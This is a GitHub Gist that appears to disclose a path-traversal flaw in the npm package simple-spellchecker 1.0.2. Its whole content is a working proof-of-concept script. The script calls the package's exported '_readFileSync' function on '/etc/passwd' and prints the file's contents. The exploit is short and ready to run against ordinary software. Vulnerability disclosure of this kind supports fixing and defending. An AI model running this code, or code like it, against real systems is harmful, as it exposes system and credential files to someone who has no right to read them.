Last active
July 30, 2024 11:22
-
-
Save guilherme-goncalves793/9c3125c6c8e33e0d9216847118137c63 to your computer and use it in GitHub Desktop.
Package simple-spellchecker-1.0.2: the exported '_readFileSync' function can be used to read an arbitrary file which can be converted to original format.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Vuln: path-traversal | |
let pkg = require("simple-spellchecker"); | |
const filename = "/etc/passwd"; | |
let fileLines = pkg._readFileSync(filename).wordlist; | |
console.log(fileLines.join("\n")) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment